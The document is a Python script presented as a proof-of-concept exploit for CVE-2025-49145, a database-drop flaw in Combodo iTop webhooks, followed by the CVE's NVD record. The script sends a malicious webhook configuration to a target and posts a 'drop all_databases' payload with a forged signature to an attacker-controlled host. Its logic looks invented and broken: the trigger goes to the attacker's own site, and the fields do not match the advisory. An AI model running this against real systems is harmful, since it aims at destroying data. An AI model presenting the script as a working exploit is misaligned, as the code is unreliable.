CVE-2025-49145

# CVE-2025-49145 PoC - Combodo iTop Database Drop via Webhook # This PoC demonstrates the vulnerability where authenticated users with # webhook creation privileges can trigger database deletion import requests import json TARGET_URL = "https://target-itop-instance.com" API_KEY = "your_api_key_with_webhook_privileges" def create_malicious_webhook(): """ Create a webhook with malicious callback configuration that exploits insufficient signature verification """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious webhook configuration webhook_config = { "name": "Malicious Webhook", "callback_url": "http://attacker-controlled-site.com/callback", "secret": "manipulated_secret_for_signature_bypass", "events": ["*"], "enabled": True, "options": { "verify_ssl": False, "timeout": 30, "retry_on_failure": True } } response = requests.post( f"{TARGET_URL}/api/v1/webhooks", headers=headers, json=webhook_config ) if response.status_code == 201: webhook_id = response.json().get('id') print(f"[+] Malicious webhook created with ID: {webhook_id}") return webhook_id else: print(f"[-] Failed to create webhook: {response.text}") return None def trigger_database_drop(webhook_id): """ Trigger the webhook callback to exploit the vulnerability and execute database drop operation """ # Craft malicious callback request callback_payload = { "event": "database_operation", "action": "drop", "target": "all_databases", "signature": "forged_signature_to_bypass_verification" } # Send callback to trigger the vulnerability response = requests.post( f"http://attacker-controlled-site.com/trigger/{webhook_id}", json=callback_payload ) print(f"[*] Callback triggered: {response.status_code}") return response.status_code == 200 def main(): print("[*] CVE-2025-49145 PoC - iTop Database Drop via Webhook") print("[*] Target: Combodo iTop < 2.7.13 or < 3.2.2") # Step 1: Create malicious webhook webhook_id = create_malicious_webhook() if not webhook_id: print("[-] Exploitation failed: Unable to create webhook") return # Step 2: Trigger the database drop if trigger_database_drop(webhook_id): print("[+] Database drop operation triggered successfully") print("[!] Target database has been compromised") else: print("[-] Exploitation failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-49145", "sourceIdentifier": "[email protected]", "published": "2025-11-10T22:15:35.760", "lastModified": "2025-11-21T13:37:57.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Combodo iTop is a web based IT service management tool. In versions prior to 2.7.13 and 3.2.2, a user that has enough rights to create webhooks (mostly administrators) can drop the database. This is fixed in iTop 2.7.13 and 3.2.2 by verifying callback signature."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.13", "matchCriteriaId": "4738ED01-0CAC-4A19-BE9F-B7E89AAD8D23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.2.2", "matchCriteriaId": "EAF7CD83-4986-43B2-9A2B-3E282671B00F"}]}]}], "references": [{"url": "https://github.com/Combodo/iTop/security/advisories/GHSA-55q8-mfxr-pq4j", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}